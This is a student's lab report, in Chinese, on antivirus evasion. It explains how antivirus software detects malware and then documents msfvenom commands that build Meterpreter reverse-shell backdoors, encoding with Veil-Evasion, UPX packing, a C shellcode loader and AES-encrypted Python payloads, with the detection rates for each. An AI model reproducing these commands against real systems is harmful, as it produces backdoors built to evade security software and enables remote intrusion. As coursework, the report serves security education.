文章目录
20194311姜晨昊Exp3-免杀原理与实践
一、基础问题回答
1.1 杀软是如何检测出恶意代码的?
基于特征码进行检测
杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
利用启发式恶意软件检测
将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测
对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
1.2 免杀是做什么?
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除,悄悄的干活(不悄悄的别人也不让我们进行攻击和窥探)。
1.3 免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
加壳:压缩壳 加密壳- 有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件- 有源代码
用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据- 操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
- 修改内存特征码
- 等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
- 通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
1.4开启杀软能绝对防止电脑中恶意代码吗?
说绝对是有些过了,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!
二、实验环境
三、实践内容
3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/70
使用Unicode编码
编码一次
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.56.104 LPORT=4311 -f exe > 20194311backdoor3.exe
进行检测,仍为53.并没有什么变化…
编码多次(此处采用我学号的序号11来进行编码)
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使’\x00'
不出现在shellcode中,因为shellcode以'\x00'
为结束符
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -11 -b ‘\x00’ LHOST=192.168.56.104 LPORT=4311 -f exe > 20194311backdoor4.exe
参数意思:
-e
选择编码器-b
是payload中需要去除的字符:该命令中为了使'\x00'
不出现在shellcode 中,因为shellcode以'\x00'
为结束符-i
设置迭代次数
再次进行检测,发现还上升了…
利用php格式文件
生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4311 x> backdoor_php.php
文件大小下降了许多,进行检测
效果比之前的好很多
利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4311 -f jar > backdoor_jar.jar
也不是很大,进行检测,结果如下
3.2veil,加壳工具实践
安装工具
安装命令行
sudo apt-get install veil-evasion
安装设置
下载成功后,修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
修改成功后,veil等待安装
经过几十分钟的等待,弹出
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!
则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
使用veil工具
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 10.0.2.15 //设置反弹链接ip,此处为Kali的ip
set LPORT 4311 //设置端口
generate
同时由上图所示。设置生成的文件名称为20194311veil
保存路径为/var/lib/veil/output/compiled/20191310veil.exe
对此文件进行检测,但检出率还是很高,且由于文件比较大(105.03KB),检查所花费的时间也较长
免杀加壳尝试
- 加壳是对相应的资源进行压缩,压缩后仍可运行。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 它可以用来保护版权,但同时也有许多病毒将其作为原理。
加壳指令
upx 20194311veil.exe -o 20194311_veil_upx.exe
对其进行检测,检出率基本上没有减小,看来目前杀软对于加壳的检测能力很强
3.3使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4311 -f c
编辑c文件
vim shellcode_c.c
int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
对其进行检测,可以看出检出率已经下降许多了
3.4通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil
,选择Evasion
list##寻找palyload
这里使用evasion中第28项:用python生成reverse_tcp
设置回弹IP和端口号,然后查看状态
生成文件目录如下,会有三个文件生成,需要将他们都拷贝到Windows下
在Windows上安装python27和32位py2exe(这个是生成exe文件的必备步骤),然后将拷贝到Windows下的三个文件拷贝到python27所在文件夹(这里一定是三个文件,不要把它们放在同一个文件夹再拷贝过去)
双击运行runme.bat,会在当前目录下生成一个与py文件相同名称的exe文件
对其进行检测
检测一下py文件
这里的原理便是使用了数据加密的方式进行多次编译后门软件
四、实验心得
- 本次实验较为简单,但结果却又非常直观,可以明显地看到不同方法的效果。
- 本此实验遇到的最大问题就是veil的安装,当时反复出现wine32缺失的报错,按照系统给的命令操作之后,却又一直卡在某一行,我也不知道是这一步就应该等待这么久还是我的操作出现了问题,反复多次尝试之后,我在操作到那一步之后,出去吃了顿晚饭,回来之后就惊喜地发现veil已经安装完毕,由此,我也确定了我的操作并没有问题,只是确实需要等待很久。
- 本次实验我尝试了许多免杀方法,虽然有很多效果不尽如人意,比如使用msf编码器操作,但通过组合应用各种技术后,发现效果显著,检出率大幅下降,这也让我认识到网络安全之路依旧任重道远。